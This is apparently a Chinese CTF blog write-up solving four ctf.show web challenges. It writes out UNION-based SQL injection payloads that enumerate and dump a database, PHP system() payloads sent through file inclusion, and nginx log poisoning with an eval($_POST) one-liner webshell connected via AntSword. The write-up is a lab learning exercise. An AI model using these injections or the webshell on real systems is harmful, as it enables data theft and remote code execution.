CTF.show:WEB:web签到题-web4

ctf.show做题记录


web签到题

查看源码得到flag
在这里插入图片描述

web2

手抖点到hint索性直接全抄

1.查当前数据库名称

 ' or 1=1 union select 1,database(),3 limit 1,2;#-- 

得到数据库名称web2

2.查看数据库表的数量

' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3 limit 1,2;#-- 

得到数据库表数量为2

3.查表的名字

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#-- 

得到表名:flag

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#-- 

得到表名:user
4.查flag表列的数量

' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

只有1列
5.查flag表列的名字

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

列名为flag
6.查flag表记录的数量

' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#-- 

只有一条记录
7.查flag表记录值

' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#-- 

得到flag

flag{df3d0b90-788a-4495-8f19-0a320761aa3a}

web3

题目提示我们可以知道这是一道php伪协议+文件包含漏洞的题目
直接get传参url,用bp抓包进行提交

<?php system("ls");?> 

在这里插入图片描述

得到文件名,然后用cat进行文件内容的获取

<?php system("cat ctf_go_go_go");?> 

在这里插入图片描述
得到flag

flag{cc8d6dc2-b23e-4b5a-bc25-1d7d4e3e26ac}

web4

看题目感觉和web3很像
这题利用日志注入
通过查看请求头可以知道服务器为Ubuntu,由nginx搭建的网站
nginx的日志文件在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开
查看日志的默认目录,得到了日志文件

?url=/var/log/nginx/access.log

在这里插入图片描述
加入一句话木马

<?php @eval($_POST['a']);?>

在这里插入图片描述
利用蚁剑连接
在文件夹下找到flag
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值